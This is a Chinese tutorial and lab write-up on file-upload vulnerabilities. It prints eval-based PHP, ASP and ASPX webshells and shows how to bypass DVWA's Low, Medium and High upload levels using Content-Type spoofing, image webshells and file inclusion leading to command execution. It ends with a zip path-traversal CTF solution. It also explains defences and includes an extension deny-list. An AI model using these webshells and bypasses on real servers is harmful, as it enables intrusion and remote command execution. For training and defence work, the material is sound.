文件上传是web应用必备功能之一,如,头像上传、附件分享等。如果服务器配置不当或者有没有进行足够的过滤,web用户就可以上传任意文件,包括恶意恶意脚本文件,exp呈现等等,这就造成了任意文件上传漏洞
服务器配置不当,开启了PUT 方法。
Web 应用开放了文件上传功能,没有对上传的文件做足够的限制和过滤。
在程序开发部署时,没有考虑以下因素,导致限制被绕过:
代码特性;
组件漏洞;
Web 容器漏洞;
系统特性;
…
上传恶意代码(文件,程序),并执行恶意代码(文件,程序):
直接上传后门文件并执行,导致网站沦陷;
通过恶意文件,利用其他漏洞拿到管理员权限(提权),导致服务器沦陷。
通过文件上传漏洞获得的网站后门,叫WebShell。
理解Shell 的概念
掌握WebShell 使用
windows | linux |
---|---|
powershell | bash |
cmd | sh |
… | zsh |
WebShell 是一个网站的后门,也是一个命令解释器。通过Web 方式,使用HTTP| HTTPS 协议传递命令消息到服务器,并且继承了Web 用户的权
限,在服务器上远程执行命令。WebShell 从本质上讲,就是服务器端可运行的脚本文件,后缀名通常为:
.php
.asp
.aspx
.jsp
…
WebShell 接收来自于Web 用户的命令,然后在服务器端执行,也称为网站木马、木马后门、网马等。
web容器 | 脚本语言 |
---|---|
Apache HTTPD | php |
IIS | aspx| aspx| php |
Tomcat | jsp| jspx |
代码量比较大,与小马对比。
一句话木马,需要与中国菜刀配合。
特点:短小精悍,功能强大。
三大基本功能:文件管理、虚拟终端、数据库管理。
php 脚本格式:
//代码执行函数+传参点
asp脚本形式:
<%eval request("777")%>
aspx脚本形式:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["777"],"unsafe");%>
GetShell 是获取WebShell 的过程或结果。文件上传漏洞的利用是GetShell 的主要方式,但不是唯一手段。
DVWA/File Upload/Low
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
?>
对文件上传没有做任何过滤;
任意文件上传。
黑白名单是最常用,也是最重要的安全策略之一。黑白名单策略类似于一个列表,列表中写了一些条件或者规则,黑名单就是非法条件,白名单就
是合法条件,类似于手机的黑白名单。也是最常用的防御策略之一。
文件后缀名
文件类型
文件内容
$deny_ext = array(
".php",".php5",".php4",".php3",".php2","php1",".phtml",".pht",
".html",".htm",
".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jhtml",
".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",
".cer",".swf",
".htaccess"
);
$allow_ext = array(
'jpg','jpeg','png','bmp','gif','svg',
'zip','tar.gz',
'doc','docx','pdf','xls','ppt'
);
DVWA/File Upload/Medium
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
?>
上传的文件没有重命名;
Content-Type 类型白名单检测;
任意文件上传。
POST /dvwa_2.0.1/vulnerabilities/upload/ HTTP/1.1
Host: 10.4.7.196
Content-Length: 432
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.4.7.196
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3xRrwk8liSH6rVVn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/105.0.5195.102 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Referer: http://10.4.7.196/dvwa_2.0.1/vulnerabilities/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: security=medium; PHPSESSID=rkgc97fga9q51hn8vciv5dt5e7; ASPSESSIONIDSASCAARA=DPNHBLIBFBKFLHLNLEHPMJCH;
ASPXSpy=5854b7d51176229708197a5334ba1195
Connection: close
------WebKitFormBoundary3xRrwk8liSH6rVVn
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundary3xRrwk8liSH6rVVn
Content-Disposition: form-data; name="uploaded"; filename="yjh.php"
Content-Type: image/jpeg
<?php
@eval($_REQUEST[777]);phpinfo();
?>
------WebKitFormBoundary3xRrwk8liSH6rVVn
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundary3xRrwk8liSH6rVVn--
DVWA/File Upload/High
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower(
$uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
?>
上传文件没有重命名;
文件后缀名白名单检测;
使用getimagesize() 进行文件内容检测,只检测文件头部。
copy imgName/b+yjh/a newImgName
说明:
图片木马没有办法直接利用,需要配合其他漏洞。
图片木马中包含了恶意代码。
DVWA/File Upload/Impossible
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get(
'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower(
$uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "${target_file} succesfully uploaded!
";
}
else {
// No
echo 'Your image was not uploaded.
';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
检测Token 值,防止数据包重放;
文件重命名;
文件后缀名白名单检测;
文件类型白名单检测;
文件内容头部检测;
二次渲染,生成新文件;
删除缓存文件。
文件上传漏洞完美利用,受到以下条件限制:
Web 服务器开启文件上传功能,Web 用户可以使用该功能。
Web 用户({www|www-data|apache})对目标目录具有可写权限,甚至具有执行权限。一般情况下,Web 目录都有执行权限。
完美利用意味着文件可以执行,也就是说代码可以被服务器解析。
服务器开启了PUT 方法。
采用白名单策略,严格限制上传文件的后缀名;
上传文件重命名,尽量少的从客户端获取信息,包括文件名、文件类型、文件内容等;
文件内容检测;
进行二次渲染,过滤掉图片马中的恶意代码;
避免文件包含漏洞;
严格处理文件路径,防御00 截断漏洞;
检测Token 值,防止数据包重放。
强口令策略,避免恶意攻击者登录网站后台;
尽量避免Web 用户修改上传白名单。
及时更新Web 容器,防止解析漏洞产生。
禁用Web 容器PUT 方法。
严格控制权限,执行权限与写权限分离。
建立单独的文件存储服务器,类似于站库分离
源码
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
?>
没有过滤
尝试上传一句话木马
@eval($_POST[999]);?>
上传成功,返回上传的路径
去掉井号跟在后面
http://10.9.47.221/dvwa_2.0.1/hackable/uploads/yijuhua.php
使用蚁剑连接
可以成功连接
源码
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
?>
发现过滤了文件类型,需要将文件类型改为jpeg或者png的
上传一句话木马,将content-type改为image/png
发现可以上传成功
使用蚁剑连接
源码
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
?>
该难度增加了对文件后缀名的判断,需要后缀名为jpg,jpeg,png
并且使用了getimagesize()函数,该函数会检查图片的内容来判断该内容中的格式符不符合图片,如果不是图片的格式会上传失败
制作图片包含一句话木马,将木马放在该图片内容的底部,防止被函数识别过滤
copy 111.png/b+111.txt/a 123.png
上传成功
蚁剑无法连接
需要配合靶场的文件包含使用
http://10.9.47.221/dvwa_2.0.1/vulnerabilities/fi/?page=file://C:\phpstudy_2016\WWW\dvwa_2.0.1\hackable\uploads\123.png&999=system('whoami');
可以执行系统命令
也可以phpinfo()
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "${target_file} succesfully uploaded!
";
}
else {
// No
echo 'Your image was not uploaded.
';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
此行代码检查用户token
下面一段获取上传文件的信息,以及截取文件后缀名
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
该行代码对文件名使用md5生成唯一文件名
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) )
检查文件后缀名和大小是否符合,并且检查上传类型是否符合
然后调用函数检查文件内容是否符合图片格式
if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img );
如果上传的格式通过,随后去除其元数据,并将其移动至临时目录
imagecreatefrompng()
是 PHP 中用于创建一个新的 GD 图像资源,从指定的 PNG 文件中读取图像数据的函数。它的基本语法如下:resource imagecreatefrompng ( string $filename )
参数
$filename
是一个字符串,表示要读取的 PNG 文件的路径。当调用
imagecreatefrompng()
函数时,它会打开指定的 PNG 文件,并将其解析为 GD 图像资源。这个资源可以被用于后续的图像处理操作,比如缩放、裁剪、添加水印等。这个函数返回一个 GD 图像资源,如果读取失败,则返回
false
。
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "
${target_file} succesfully uploaded!
"; } else { // No echo 'Your image was not uploaded.
'; }
将图片从临时目录移动到目标目录
if( file_exists( $temp_file ) ) unlink( $temp_file ); }
删除临时目录的文件
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');
if(!$_FILES){
echo '
文件上传章节练习题
';
show_source(__FILE__);
}else{
$file = $_FILES['file'];
if(!$file){
exit("请勿上传空文件");
}
$name = $file['name'];
$dir = 'upload/';
$ext = strtolower(substr(strrchr($name, '.'), 1));
$path = $dir.$name;
function check_dir($dir){
$handle = opendir($dir);
while(($f = readdir($handle)) !== false){
if(!in_array($f, array('.', '..'))){
if(is_dir($dir.$f)){
check_dir($dir.$f.'/');
}else{
$ext = strtolower(substr(strrchr($f, '.'), 1));
if(!in_array($ext, array('jpg', 'gif', 'png'))){
unlink($dir.$f);
}
}
}
}
}
if(!is_dir($dir)){
mkdir($dir);
}
$temp_dir = $dir.md5(time(). rand(1000,9999));
if(!is_dir($temp_dir)){
mkdir($temp_dir);
}
if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
if($ext == 'zip'){
$archive = new PclZip($file['tmp_name']);
foreach($archive->listContent() as $value){
$filename = $value["filename"];
if(preg_match('/\.php$/', $filename)){
exit("压缩包内不允许含有php文件!");
}
}
if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
check_dir($dir);
exit("解压失败");
}
check_dir($dir);
exit('上传成功!');
}else{
move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
check_dir($dir);
exit('上传成功!');
}
}else{
exit('仅允许上传zip、jpg、gif、png文件!');
}
}
require_once('pclzip.lib.php');
- 引入了一个名为 pclzip.lib.php
的外部库,用于处理zip压缩文件。
检查上传的文件类型,如果是zip文件,则使用 PclZip
库解压文件,并检查解压后的文件内容,如果包含PHP文件则停止执行并输出错误信息。如果解压失败,则输出错误信息。然后检查目录下的文件并删除不符合规定的文件
其中对于zip的两个主要限制点即为结尾不能是php,其次是不能直接上传在当前目录,因为目录名随机,解压之后找不到位置,因此需要目录穿越到可以找到并访问的位置,此处主要是apache的解析漏洞,从右向左解析,直到解析到合法后缀才执行
写一个一句话木马文件
然后命名为如图
其中xxxxxx为占位符,因为要用010editor将前面改为…/…/刚好六位,后面加未知后缀是因为代码中写的不能以php结尾
将该文件压缩
zip 9.zip xxxxxx9.php.gp
010editor打开压缩包文件编辑
将其中名字部分改为如图
为什么用01编辑器修改文件名,因为在外部不能以…/这种东西命名
然后保存
进入靶场上传
上传成功后访问该php文件,得到flag
n1book{ThisIsUpLoadToPicfl4g}
但是蚁剑无法连接,而且传参过后也无法操作